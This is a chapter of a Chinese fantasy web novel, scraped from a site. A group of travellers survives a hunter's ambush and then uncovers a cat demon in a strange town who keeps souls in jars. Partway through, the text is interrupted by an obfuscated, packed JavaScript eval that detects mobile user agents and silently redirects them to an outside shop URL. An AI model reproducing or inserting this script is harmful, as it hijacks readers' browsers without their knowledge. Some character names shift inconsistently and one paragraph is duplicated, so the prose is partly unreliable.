文趣网 > 其他小说 > 碧水惊秋 > 53. 等待进入网审
    常晚幽千从袖中掏出个小巧的锦盒,递到许言枫面前:“打开看看。”

    许言枫接过,指尖触到锦盒的绒面,轻轻掀开。

    柔软的绸布上,躺着一根捆得整齐的红线,红得像初升的朝阳,透着温润的光。他眼睛一亮,笑得眉眼弯弯:“谢谢姐姐。”说着便把锦盒紧紧抱在怀里,生怕掉了似的。

    常晚幽千轻叹一声,带着点无奈的宠溺:“一根红线而已,也值得这么开心?”

    “只要是姐姐送的,我都喜欢。”许言枫把锦盒贴在胸口,笑意从眼底漫出来,连声音都带着甜。

    “这可不是普通的红线。”常晚幽千道:“它叫萦心约,花了五年时间才请人做好,现在该交给你了。”

    “要五年?”许言枫咋舌:“怎么要这么久?”

    “工艺繁复,材料稀缺,会做这东西的人,天下没几个。”常晚幽千看着他好奇的样子,缓缓解释:“它的特别之处在于,红线两头缠上彼此心悦之人的指尖,会化作戒指,这是最基本的联系。若是线的联系断了,戒指会变回红线;可若是红线沾过双方的血,哪怕断了联系,再沾上血,也能重新连上,变回戒指。”

    “好神奇!”许言枫捧着锦盒,眼睛瞪得圆圆的,随即又有点犹豫:“可现在给我,会不会太早了?我还没遇到心仪的姑娘呢。”

    常晚幽千忍不住笑了,伸手刮了下他的鼻子:“不一定非得是姑娘,小蜜蜂便是喜欢小猫小狗都可以。”她心里叹气,世人多执着于男女之情,反倒让弟弟觉得心悦之人只能是异性,实在可惜。

    许言枫却没听出她话里的深意,只是低下头,声音闷闷的:“可应该……也不会有人心悦我吧。”他总觉得自己古怪,名声臭,不够好,谁会愿意和他过一辈子呢?

    “怎么没有?”常晚幽千语气笃定:“姐姐就知道一个。”

    许言枫眼里满是诧异,姐姐认识的人在他脑海里走马灯似的转了一圈,却怎么也猜不出是谁。

    “想不出来?”常晚幽千看着他呆萌的样子,忍不住笑出了声。

    她悄悄捏了个诀,不远处的草丛里,一条翠绿色的小蛇慢悠悠地爬出来,朝着他们的方向游来。常晚幽千故意压低声音:“别动,我好像听见蛇的声音了。”

    许言枫果然僵住了,连呼吸都放轻了,他怕痛,可不想被蛇咬。

    小蛇从他脚边游过,钻进前方的草丛,鳞片在雨里泛着冷光。

    “是竹叶青。”许言枫嘀咕:“这种天气,它怎么会出来?”

    “对,就是竹叶青。”常晚幽千不动声色地转移话题,心里却道:能提醒的都提醒了,剩下的,就看你们的造化了。

    两人撑着伞,慢慢走回破庙。

    庙里头,南亦青、知竹和云盛毅围着快熄灭的火堆,一言不发,气氛安静得有点诡异。

    许言枫一踏进庙门,三人才木讷的齐刷刷抬头。

    他第一眼就看见南亦青,南亦青的眼里全是求救场的祈求。

    许言枫挑眉,环着胸偏过头,笑得温柔:“这么安静,是不欢迎我回来?”

    “不不不,没有这个意思。”只有云盛毅开了口,语气有点慌张,生怕许言枫误会。

    许言枫对此并不诧异,知竹照常发挥,爱答不理,南亦青故意不接话,让云盛毅有话可说。

    这几人这么安静也是因为云盛毅刚加入不久,众人与他还生分,实在没什么话好说,知竹和南亦青若自顾自聊起来,又难免把人晾在一边,总归不妥。

    干脆就都闭嘴。

    常晚幽千和许言枫坐回原位,没再多言。

    雨渐渐歇了,天边透出点昏黄的光。等外面的泥地稍干,南亦青熄了火堆,几人收拾好行囊,继续赶路。

    快天黑时,道旁撞见个猎户,背着半篓野兔,腰间别着柄柴刀。见他们风尘仆仆,猎户停下脚步,粗声粗气地说:“唉,这地界儿夜里不安生,常有野兽出没,你们怎么还在外面逛?”

    “没有落脚处。”知竹道。

    “这……我在前面山坳里有间歇脚的屋子,你们不嫌弃的话,可去那里歇一晚。”

    众人正愁没处落脚,闻言自然乐意,跟着猎户往山坳走。

    不多时,便见着间小院,篱笆墙围着两间土屋,看着倒还干净,就是没有窗户。

    猎户点亮屋里的烛火,昏黄的光映着他黧黑的脸:“夜里千万别出去,听见啥动静也别开门。”他又叮嘱了一遍,随即扛起空篓子:“我家婆娘孩子还等着,先回了。”说罢,脚步匆匆地消失在夜色里。

    南亦青望着他走远,顺手关上了院木门,门轴发出“吱呀”一声轻响。

    众人分了睡处,灭了灯,屋里便只剩下黑暗,静得能听见彼此的呼吸。

    夜里,许言枫听见外边传来细嗦的声音,以为是野兽出没,给房子又添了一层保护障。

    可黑暗中,靠近房子的是个人影,他在门前不知做了些什么,然后才离开。

    第二日天刚蒙蒙亮,知竹发现门打不开了。

    “是不是门坏了?”南亦青道。

    “不是,外面有碰撞的声音,应该是被锁着了。”许言枫道。

    “或许是猎户怕有野兽出没,特意上了锁?”云盛毅道。

    知竹正考虑要不要把门拆了,院门外便传来猎户粗嘎的声音,带着毫不掩饰的恶意:“里面的,男的想活命就把钱留下!女的嘛……哼哼,把爷伺候舒服了,或许还能留你们一条贱命!”

    他那双眼色眯眯的眼睛盯着门板,仿佛能穿透木头瞧见里面的人,脸上堆着的笑油腻又恶心。

    话音未落,“轰隆”一声巨响,许言枫一脚踹开了屋门,厚重的木门飞出去,在地上砸出个深坑。余震将猎户震得连连后退,一屁股摔在地上。

    许言枫缓步走出,鞋尖沾着的泥土混着点暗红,他俯身,一脚踩在猎户胸口,脸上还带着点笑意,模仿猎户的语气却冷得像冰:“向两位姑娘道歉,可留你一命。”

    “我呸!死婊子!长成那样不就是,呃!……”猎户的污言秽语还没说完,许言枫脚下猛地用力。

    只听“咔嚓”一声脆响,紧接着是骨头刺穿皮肉的闷响,猎户的嚎叫戛然而止,喉咙里涌上血沫,眼睛瞪得滚圆,显然是活不成了。

    “哎。”常晚幽千轻轻叹了口气,语气里带着点无奈,想拦都拦不住。

    云盛毅吓得捂住耳朵,那骨头断裂、内脏被划破的声音实在太过刺耳,让他胃里一阵翻涌。

    他从未见过许言枫这般模样,平日里温和体贴,此刻却狠戾得让人毛骨悚然。他忍不住后怕,若是自己不慎说错话,会不会落得同样的下场?

    南亦青却没看地上的猎户,只盯着许言枫沾了血的靴子,眉头紧锁,满眼都是心疼。他怕许言枫脚疼,怕那身干净的衣袍沾了血会心烦。

    知竹站在一旁,眼睛里满是毫不掩饰的赞赏,仿佛在说“不愧是他”,那眼神里的肯定,像是在看一件合心意的珍宝。

    许言枫从猎户胸口抽出脚,血珠顺着靴筒往下滴,在地上晕开一小片暗红。

    他抓过南亦青的手,对另外三人道:“我先进去换身衣服。”说着,拉着南亦青走进屋里,留下三人在门外。

    屋内,许言枫从水缸里舀了瓢水倒进木盆,坐在椅子上,慢慢脱下沾血的靴子。

    靴子破了个几洞,他的脚上有血口,正渗着血,边缘还嵌着些细小的碎骨渣。

    “言枫兄……”南亦青的声音带着点哽咽,他小心翼翼地靠近,不敢大声说话,许言枫只叫他进来,定是不想让其他人看见。

    他伸手想碰,又怕弄疼了对方,只能慌忙从储物袋里翻出止血药。

    许言枫咬着牙,伸手将脚上的碎骨一一拔出,疼得指尖微微发颤,却没哼一声。

    他把脚放进水盆里,清水瞬间被染红,才抬头对南亦青道:“别让姐姐他们知道,我自己……”

    话没说完,南亦青已经蹲下身,握住他的脚踝,动作轻柔得像在对待易碎的珍宝:“我来。”他低着头,长长的睫毛垂着,掩去眼底的心疼,“你别动。”

    许言枫本想缩回脚,这点伤他自己来就好,何必麻烦别人。

    可南亦青看向他的眼神复杂,带着点执拗,手上的力道微微加重,却又小心翼翼的,生怕攥得太紧弄疼了他。

    许言枫愣了一下,终究还是收回了想阻止的手,任由他去了。

    南亦青蘸了点药膏,轻轻往伤口上抹,许言枫没喊疼,脸上也没什么表情,仿佛一点都不疼似的,可他脚踝处白皙皮肤下的青筋却悄悄鼓起,无声地叫嚣着这份疼痛。

    等上好药,他拿起旁边干净的鞋子套上,又开始脱身上沾了血的外衣。

    反正这衣服也脏了,留着没用,他脱得坦然,倒让南亦青有些不自在,默默转过身去。

    “真的没事吗?”南亦青还是不放心,背对着他问道。

    “没事,血都止住了。”许言枫系好新衣服的带子,走过去牵住他的手:“走吧。”

    两人走出屋,常晚幽千、知竹和云盛毅都没多问,只是默默的继续赶路。但许言枫能感觉到,他们赶路的速度明显放慢了些。

    这样走了几日,终于在一个镇子外停下。

    这镇子看着寻常,却透着股说不出的古怪。他们刚踏进镇口,遇到的每一个村民都笑着打招呼,声音却平平板板的,没什么情绪,眼神里的热情也像是装出来的,目光总若有若无地在他们身上打转。

    “嗨~”

    一声俏皮妩媚的声音自身后响起,跟着有人轻轻拍了下许言枫的肩膀。几人猛地回头,身后却空无一人,再转头时,一个姑娘已站在前方不远处,正歪着头冲他们笑。

    “欢迎来到小鱼镇,我是这里的镇长。”她眨着大眼睛,猫一样灵动的长相,说话时小动作不断,一会儿拨弄下头发,一会儿踮踮脚:“在这里呀,大家都能自由玩耍,没有矛盾,也没有冷淡,可友善啦。”

    若不是她步子轻快得不像常人,说她是镇长,怕是没人信,瞧着实在太稚嫩了。

    “这里有我们可以落脚的地方吗?”知竹率先开口,语气带着警惕。

    那姑娘却像没听见似的,耸动着鼻尖四处闻了闻,忽然拍手笑道:“有鱼干的味道!我们一起去尝尝吧,这里的鱼干可好吃了!”

    知竹皱起眉:“我们不……”

    正要拒绝,常晚幽千却抢先开口:“好啊。”她语气平静,像是真的对鱼干感兴趣。

    “嘻嘻,走喽走喽!”镇长蹦蹦跳跳的朝前走。

    知竹瞪了常晚幽千一眼,低声道:“奸懒馋滑。”却也只能跟着众人往前走。

    走了没多远,镇长带着他们进了一家酒楼,掌柜的像是早就等着似的,立刻端着一盘鱼干迎上来,脸上挂着和镇上村民一样的、没什么情绪的笑:“香喷喷的鱼干,请各位客人品尝。”

    镇长接过鱼干,转身递到他们面前:“鱼干好喽,快吃呀!”见几人没动,又眨着眼睛问,“怎么不吃呢?”

    “抱歉,我们现在还不饿。”常晚幽千双手合十,语气放得温柔,像哄小孩似的:“可以麻烦你午后派人送到我们房间吗?拜托了。”

    知竹抱着胳膊站在一旁,脸上的嫌弃毫不掩饰,他们还没找好住处,哪来的房间?这常晚幽千到底在打什么主意!

    镇长微微偏头,大眼睛眨了眨,像是在认真思考。“你们住在哪里呀?”她问:“我午后派人送过去可以吗?”

    镇长微微偏头,像是在认真思考,指尖还无意识地戳着下巴:“你们住在哪里呀?我午后派人送过去可以吗?”

    常晚幽千故作苦恼地皱起眉:“可以是可以,只是我们还忘了房间在哪了。”

    镇长一只手托着盘,另一只手食指轻轻点着自己的脸颊,喃喃道:“忘记了呀……”说着,还绕着转了两圈,像只找不到方向的小猫。忽然,她眼睛一亮:“哎呀,那就住楼上吧!不记得的话,随便住哪间都行!”

    说完,她便自顾自坐在酒楼的位子上,拿起一根鱼干啃了起来,吃得津津有味,仿佛把他们几人抛在了脑后。

    常晚幽千看向知竹,眉头轻轻一挑,示意她跟上:“走吧,现在我们有住所了。”她率先迈步上楼,等他们都挑好了房间,才从剩下的那间里选了一间住下。

    过了约莫一个时辰,果然有人来送鱼干。敲门的是个店小二,脸上挂着和掌柜一样僵硬的笑,准确地把鱼干送到了几人房间门口,但他们明明没说过自己选了哪间房。

    南亦青将鱼干端进房,放在桌上,夹起一条递到许言枫嘴边:“尝尝?”

    许言枫轻轻咬了一口,酥脆的鱼肉在嘴里化开,带着点盐的咸,没加什么复杂调料,是原汁原味的鱼香。他嚼完,点点头:“原汁原味的。”

    南亦青又夹起一条往自己嘴里送,咀嚼了几下,附和道:“的确。”

    许言枫忽然轻皱起眉头,犹豫了一下才开口:“亦青兄,你……忘记换筷子了,那是我刚刚用过的。”

    南亦青抬眸看他,眼神坦荡:“没忘啊,就是用我的筷子喂你的。”

    “可这……”许言枫支支吾吾的,他知道南亦青懂他的意思,却见对方又夹了一片鱼干,笑着送进嘴里,还特意说:“是你的话就没关系,很甜。”

    许言枫杵着下巴,心里忽然冒出个古怪的念头:难道是我龙眼吃多了,有嘴甜?

    “对了,你还记得这家酒楼的掌柜吗?”南亦青忽然换了个话题,声音压得低了些,眼神里带着点神秘。

    许言枫想了想,摇摇头:“他怎么了?”

    “你不觉得他笑起来很吓人吗?”南亦青想起掌柜那张脸,忍不住皱紧眉头:“像是被人硬生生扯着嘴角笑的,特别僵硬,眼睛里一点光都没有。”

    许言枫愣了愣,仔细回想了一下,还是摇摇头:“没有吧?人笑的时候,脸上的肉不都是往后缩吗?”

    南亦青有些无奈,许言枫在这些有关情感的事情上总是不太敏感。他本想再说些什么,却听许言枫忽然道:“不过那个镇长,确实有点不对劲。”

    南亦青眼睛一亮,还以为他终于察觉到了镇长的诡异,却听许言枫继续道:“这原味的鱼干明明很普通,她却吃得那么香,感觉她的味觉有点问题。”

    南亦青默默叹了口气,算了,他还是想多了,现在的许言枫,大概还没法理解这些。他只能顺着话头道:“可能……镇长就是单纯爱吃鱼吧。”

    许言枫虽然还是不太理解这个味道有什么值得痴迷的,但还是点了点头:“也是,每个人喜好不同。”

    最后,那一盘鱼干大多进了南亦青的肚子。吃完后,他便走到房间宽敞的地方,开始日常的功法练习。

    许言枫坐在桌边,单手撑着下巴,不知道在冥思什么,眼神发直,像是入了迷。

    阳光透过窗棂照在他脸上,睫毛投下浅浅的阴影,嘴角还带着点若有若无的笑意,不知道想到了什么开心事。

    房间里很安静,只有南亦青练习时灵力流动的轻响,和窗外偶尔传来的、村民们毫无感情的谈笑声。

    众人在这处地方已然住了两日,知竹却丝毫没有要离开的意向。她整日神神秘秘,也不知究竟在忙着些什么,常常一整天都见不到人影。

    许言枫在这儿住了几天之后,敏锐地察觉到了不对劲。他所接触到的那些人,给他一种极其怪异的感觉,仿佛一个个都是木偶。这种感觉并非来自于他们的外表,也不是从他们的行为举止中观察出来的,而是一种难以言喻的直觉。更奇怪的是,有时这些人当中还会有人发出“喵”的一声叫。

    这几夜同样不平静,每当夜幕降临,便总有一股若隐若无的鱼腥味在空气中弥漫开来。而一到深夜,又会传来阵阵猫叫声,那声音在寂静的夜里显得格外诡异。到了早上,还能在窗台发现几撮猫毛,仿佛在无声地诉说着夜间发生过什么不为人知的事情。

    许言枫心中的疑惑越来越深,他不禁暗自思忖,这一切究竟是怎么回事……难道小鱼镇的人都喜欢养猫?

    又过去了两天,知竹依旧毫无要离去的迹象。

    不过这一天,许言枫倒是显得格外高兴,一大早,他便径直前往酒楼的厨房,忙忙碌碌的,还不让南亦青进去看,只是让他回房间等着。

    过了许久许久,许言枫才端着一碗面脚步轻快地走了进来。“当当当当!长寿面!”他的声音中满是兴奋。

    南亦青先是一愣,随后有些懵地说道:“我这是要活到头了吗?”

    许言枫笑着摇了摇头,眼神真挚而温暖:“不是的,只是我觉着活着特别好,所以想让你长命千岁。”

    南逸清也反应过来,今日竟是他的生辰。

    他向来不记得自己的生辰,父母去世前都是父母记得,父母去世后,他也没怎么在意过生辰,只知道自己出生的日子,却从未算过具体是哪一天,或者说根本就没在意过是哪一天。

    “抱歉啊,刚刚没反应过来。谢谢我们言枫兄啦。”南亦青弯了弯眼睛,心中涌起一股暖意,没想到许言枫居然记得,还提前算好了日子,如此贴心地为他准备。

    他夹起面,轻轻吹了吹,便开始细细品尝,许言枫的厨艺果然不会让他失望,一碗普通的长寿面也能做得这般好吃。

    只是这面看起来很朴素,南亦青心想,可能是因为这材料不足吧。

    但他不知道的是,这碗面本就是这样朴素的。

    许言枫在自己生辰时,总会送自己一碗长寿面,没有多余的配料。不加过多调料,也只是希望自己的一生能顺畅无阻,长命千岁。他觉得活着就是世界上最好的事。这也是为什么许言枫做的长寿面如此好吃的原因,毕竟做了那么多年,手艺早已炉火纯青。

    “我还有一件礼物要送你。”许言枫说着,轻轻推出一个盒子,抿着唇露出一个可爱的笑容,这让南亦青更加好奇里面究竟有什么了。

    南亦青接过盒子,眼中闪烁着期待的光芒,说道:“那我打开喽。”许言枫点点头,南亦青激动地打开盒子,只见里面放了不少东西。有一幅小小的画卷,一条编织的手绳,一只小狗木雕,中间是藏魂花,最底下是一封信。

    南以青拿出藏魂花,轻轻嗅了嗅,随后放在一旁,又拿起手绳,眼中带着笑意问道:“言枫兄,这是你编的吗?”

    “是。”许言枫应道,

    随后南亦青将左手递过来,带着几分俏皮说道:“能帮我系上吗?我想要你亲手给我戴上。”

    “可以。”

    许言枫接过手绳,仔细地系牢在玄风手上,并认真地摆正。

    之后南亦青则开始把玩起小狗木雕,眼中满是喜爱,说道:“言枫兄,你真的好全能。这是小狗吧,好可爱。

    “是金毛犬。”许言枫轻轻点头,南亦青继续说道:“看得出言枫兄很喜欢狗了,尤其是金毛。”说着,南以青双手搭在头两侧,模仿起小狗的模样……

    “对,我最喜欢狗了,因为它们忠诚又可爱。”许言枫眼中闪烁着温暖的光芒,嘴角噙着笑意,像是逗弄心爱小狗那般,轻柔地摸摸南亦青的头。

    南亦青非但没有丝毫恼怒,反而微微眯起双眼,神色惬意,任由许言枫的手在自己头上停留。

    随后,南亦青郑重地拿出那只巴掌大小的画卷,指尖小心翼翼地解开系在上面的红线,动作轻柔得仿佛在对待世间最珍贵之物,缓缓展开画卷。

    画卷上画的正是南亦青自己,他悠然坐在秋千上,几缕发丝随风微扬,嘴角绽放出无比灿烂的笑容,那笑容似能驱散所有阴霾。

    身上的衣袍是许言枫精心设计的,因为南亦青从未穿过。

    那衣袍每一处细节都仿佛蕴含着独特的韵味,很适合他,美得让南亦青一时之间不知该如何形容。

    树下是一片无边无际的花丛,花朵肆意绽放,开得烂漫至极,红的似火,粉的像霞,白的如雪。

    花瓣在微风中轻轻扬起,如同无数只翩翩起舞的蝴蝶,他的身侧还飞舞着许多白色的蝴蝶,它们围绕着南亦青,仿佛在为他的美好而欢呼,整个画面充满了自由与活力,仿佛将一个梦幻般的世界呈现在眼前。

    南亦青之前就深知许言枫画技天赋异禀,即便他平日里不怎么喜欢画画,也不经常作画,但画出来的作品却比那些经常作画的人还要出色许多。

    南亦青总共就看过两次许言枫的画,可每次都会被他那精湛的画技、天马行空的想象力以及对画面整体绝妙的设计所深深折服。

    在南亦青心中,他的许言枫兄简直无所不能,无论哪方面都好得让人挑不出半点瑕疵。

    南亦青久

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551630|203018||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    久凝视着这幅画,却没有立刻评价,而是再次小心翼翼地将其卷好,用红线仔细系上,轻轻放在一旁,因为他实在是想不出用怎样的词语才能恰如其分地形容这幅画的精妙之处。

    许言枫眼巴巴地看着南亦青,眼神中满是期待与一丝忐忑,突然沉默下来,心中暗自揣测着。

    “如果我现在看这封信,言枫兄你会不会不好意思呢?”南亦青嘴角上扬,举着信,用信挡住半张脸,眼中闪烁着狡黠的光芒,笑眯眯地看着许言枫。

    毕竟许言枫总是习惯将一些事情藏在心底,难得写了一封信,当面看的话会不会让他觉得难为情呢?

    果然不出所料,许言枫的眼神瞬间下瞟,脸上闪过一丝不自然,踌躇了一会儿才缓缓开口道:“送你的东西,你想什么时候看都可以。”

    话虽如此,可许言枫的表现分明就是有些不好意思,大拇指还不自觉地紧张地绕着圈,那模样甚是可爱,让南亦青心中不禁涌起一股想要逗弄他的冲动。

    “咳咳。”南亦青拆开信封,展开信纸,清了清嗓子,富有情感地读着:“致亲爱的亦青兄,祝你十一岁生辰快乐。很高兴能遇见你,并成为知己。你真诚,勇敢,善良,可爱,特别上进,我非常的……”南亦青故意拖长字的尾音,眼睛紧紧盯着许言枫,观察着他的反应,然后突然住嘴道:“不念了,我一个人悄悄看。”

    许言枫仿佛如释重负,轻轻舒了一口气,轻声应道:“嗯,你想什么时候看都可以。”

    南亦青笑嘻嘻地把所有东西都收好,将盒子小心放入储物袋中。

    青看着许言枫那副模样,心里愈发觉得逗他好玩。许言枫这人啊,总是会在一些特定的事情上害羞得像个涉世未深的孩子,可在该害羞的时候又表现得十分坦然,这种反差感实在是有趣极了。

    就拿刚才读信那件事来说吧,许言枫眼神飘忽,手指不自觉地小动作,那害羞的样子真是让人忍俊不禁。可回想起之前的一些场合,许言枫却又能大大方方地做一些事情,丝毫不见羞涩。南亦青不禁轻笑出声,心想许言枫就像一本永远翻不完的有趣书籍,每一页都藏着不同的惊喜,等着自己去发现。

    他看着许言枫,眼中满是笑意,仿佛在欣赏一件稀世珍宝。而许言枫在南亦青的注视下,耳朵渐渐泛起一抹淡淡的红晕,却又故作镇定地假装去整理衣袖,那模样更是让南亦青觉得可爱极了……

    “哥哥今日有想去玩的地方吗?

    今日阳光正好,微风轻拂着小镇的每一个角落。

    南亦青看向窗外那风和日丽的景象,心中顿时涌起出门走走的念头,但随即又面露为难之色,微微皱眉,缓缓说道:“不知道哪里好玩呢。”

    这里位置偏,规模也不大,真的没什么好玩的地方。

    许言枫闻言,提议道:“不如去问问镇长?”

    南亦青听后,立刻点头,脸上露出赞同的神情,嘴角微微上扬:“好主意。”

    白天这个镇长总是喜欢躺在屋顶上晒太阳。

    于是,许言枫身形一闪,揽着南亦青如两道轻烟般轻松地飞上了屋顶,目光扫视间,很容易就找到了镇长。

    只见镇长正懒洋洋地躺在屋顶上,南亦青向他招手,喊道:“镇长。”镇长听到声音,先是伸了伸懒腰,那动作缓慢而惬意,然后坐起身来。

    她向前方望去,空无一人,又左右晃着脑袋看了看,左右两侧也没有人,暗自思忖,那就只能在后面了。

    于是,她双手撑着房顶,向后仰去,这下终于看见人了,他咧嘴一笑,问道:“是小鱼干不够吃吗?”

    说罢,她一跃而起,几步就跳到了两人眼前,动作又快又轻,仿佛脚下生风。

    南亦青赶忙说道:“不是,我们想问镇上或附近可有好玩的地方。”

    镇长歪着头,眨巴着眼睛,一脸认真地问道:“你想玩哪一只?”

    南亦青听完镇长的回复,顿时犯了难,眉头皱得更紧了,心中暗自思忖,他怎么答非所问,这该怎么回答呢?

    这时,许言枫灵机一动,眼睛微眯,道:“要看了才知道选哪一只好。”

    他认为这里既然叫小鱼村,那么刚刚镇长说的‘一只’应该就是指一个地方,镇长把不同的地方当做一只小鱼。

    镇长带着两人来到一家鱼干店,打开暗门走进去。

    里面有一个养着鱼的水池,顶上吊着各种罐子,里面泛着各色的光,最中间有一桌一椅,上面还摆着几个空罐子。

    “喵一声,游一下,快快快!”镇长兴奋地喊着,手向上摆着招呼着,那动作充满了随意。

    罐子听了他的号令,哐哐摆动起来,罐子里传来各种声音。

    “猫儿又有什么事吗?”

    “喵喵喵。”

    “什么时候给我换个身份?”

    “猫儿,你都有段日子没来了。”

    “……”

    声音嘈杂一片,吵得许言枫脑袋发昏,他不自觉地用手捂住耳朵,眉头紧锁,脸色也变得有些阴沉,眼神中透露出厌烦。

    “有点吵……”南亦青道,他察觉到许言枫不开心,他知道许言枫比较反感这种围着他的非正常情况的吵,就像是有人在诟病他一般。

    镇长见状,慌忙地向上招手,嘴里喊着:“哎呀溺水溺水。”然后有些抱歉地对许言枫说道:“抱歉抱歉,所以你选好要哪只小鱼了吗?”

    就在这时,“砰!”暗门被炸开。

    镇长嘟着嘴,跺着脚,转过头来,气呼呼地说道:“打不开你叫我开嘛,干嘛炸我的门?”

    “”终于找到了。”知竹看向许言枫和南亦青,显然是跟着他们找来这的。知竹眼神坚定,目光如炬,大声说道:“识相点就快放了这些灵魂。”

    镇长却哼了一声,倔强地说道:“我才不,这是我的。”

    知竹眉头一皱,挥剑要打破罐子放出灵魂,镇长毫不犹豫地一跃而起,挡在空中,大喝一声:“不要动我的小鱼!”

    许言枫和南亦青看着眼前剑拔弩张的一幕,不知该帮谁,便先小心翼翼地退至到一边。

    许言枫目光紧紧盯着场中,手不自觉地握成拳头,手臂上的肌肉微微紧绷,南亦青则微微皱眉,眼神中透露出担忧。

    周围的空气仿佛都变得凝重起来,水池里的鱼也似乎感受到了紧张的气氛,不安地游动着,水面泛起层层涟漪。

    镇长渐渐有些坚持不住,她的呼吸变得急促,额头上冒出细密的汗珠,脚步也开始有些踉跄。

    就在这时,有人替镇长打回攻击,揽着镇长稳稳落地,只听那人喊道:“!休要欺负小猫。”

    镇长把自己缩成一团,死死扒着长婉悠千的衣摆,半边脸埋在对方身后,只露出双圆溜溜的眼睛,瞪着知竹,道:“臭鱼要抢我的玩具!”尾音发颤,像是怕极了,又像是委屈得紧。

    知竹握着剑柄的手紧了紧,指腹碾过冰凉的剑鞘纹样,看向常晚幽千:“常晚幽千,这些罐子里头是什么,你当真是揣着明白装糊涂?”她声音里淬了冰,“不过是被这小东西蹭了蹭,喵了两声,你便巴巴地护着,这般不分好歹,莫不是眼瞎了吧?”话落,她自己先嗤笑一声,笑意却没到眼底。

    常晚幽千是魔族,这点她比谁都确定,罐子里那些游移的光晕、若有若无的魂息,对方怎会察觉不到?偏要护着这猫妖,简直是……不可理喻!

    常晚幽千垂眸看了眼身后瑟瑟发抖的一团,再抬眼时,目光平得像一汪深水:“这几日我瞧着它,白日里蹲在晒谷场看孩子追蝴蝶,夜里对着着鱼干讲故事,倒不像是藏着恶念的,要不,听听小猫解释?”她语气缓,带着种近乎执拗的耐心,她不认为小猫是坏妖。

    她知道,知竹几乎不沾这些琐碎,急着下定论,难免失了分寸,所以她也没说指责的话,只是淡定分析。

    常晚幽千早便识破镇长是只猫妖,她猜知竹也察觉了,不然不会留在这里,日日盯着那些木讷的镇民瞧。

    这几日她常找小猫说话,问什么,小猫就答什么,眼神却干净,像山涧里没被搅浑的水,但她没问出什么关键信息。

    倒是他那弟弟,不知用了什么法子,竟从这小猫嘴里套出了地方。

    知竹冷哼一声:“好啊,我倒要听听,它能编出什么花来。”

    常晚幽千对小猫递了个眼色,指尖在对方后背轻轻拍了拍,像是安抚,又像是催促。

    小猫这才慢慢探出头:“才不是灵魂,是我背回来的玩具!”说着,小爪子在半空划了个圈,像是解开了什么无形的结。

    罐子里的光晕猛地晃了晃,随即响起细碎的声响。

    一个苍老的声音先钻了出来,带着些微的叹息:“猫儿,莫怕,我们自己说,其实我们就是灵魂。”

    另一个清亮些的女声接道:“但是猫儿不知道,是我们赖着不走,我们本就是将死之人,是猫儿把我们背回来,死后又帮我们修补身体,她只是喜欢玩玩偶,她要玩把身体给她玩又何妨。”

    知竹听完,眉头挑高,目光扫过那些罐子,语气里带了几分刻薄:“死了便该去轮回,赖在阳间占着躯壳,还害得旁人替你们背黑锅,倒有脸说‘何妨’?”

    罐子里霎时静了,光晕都黯淡了些,像是被戳中了痛处。

    是啊,他们不过是贪念着什么,舍不得什么,才让这不懂事的小猫替他们担了罪名。

    常晚幽千悄悄松了口气,肩头那点紧绷的弧度慢慢舒展开,眼底漾开点浅淡的笑意,像冰面融了丝缝。

    她就知道,这只总爱往他怀里钻的小家伙,心是干净的,这般纯粹,还灵活,倒真是做灵兽的好料子。

    “真相大白了。”常晚幽千看向知竹。

    知竹望着那些蔫下去的光晕,又看了看缩在长婉悠千身后,只敢露出半只眼睛偷瞄她的猫妖,终是叹了口气,手腕一转,长剑“咔嗒”一声归鞘。“不好意思。”声音不高,却足够清晰。

    镇长还是不敢动,爪子把长婉悠千的衣摆抓得更紧了。

    知竹无奈,从储物袋中摸出个油纸包,打开时,油香混着咸鲜气漫开来——是满满一包烤得金黄的鱼干。

    镇长的鼻子动了动,眼睛倏地亮了,像两颗被阳光照透的黑琉璃,可脚底下像生了根,就是不敢挪步。

    知竹便自己走上前,递到她面前。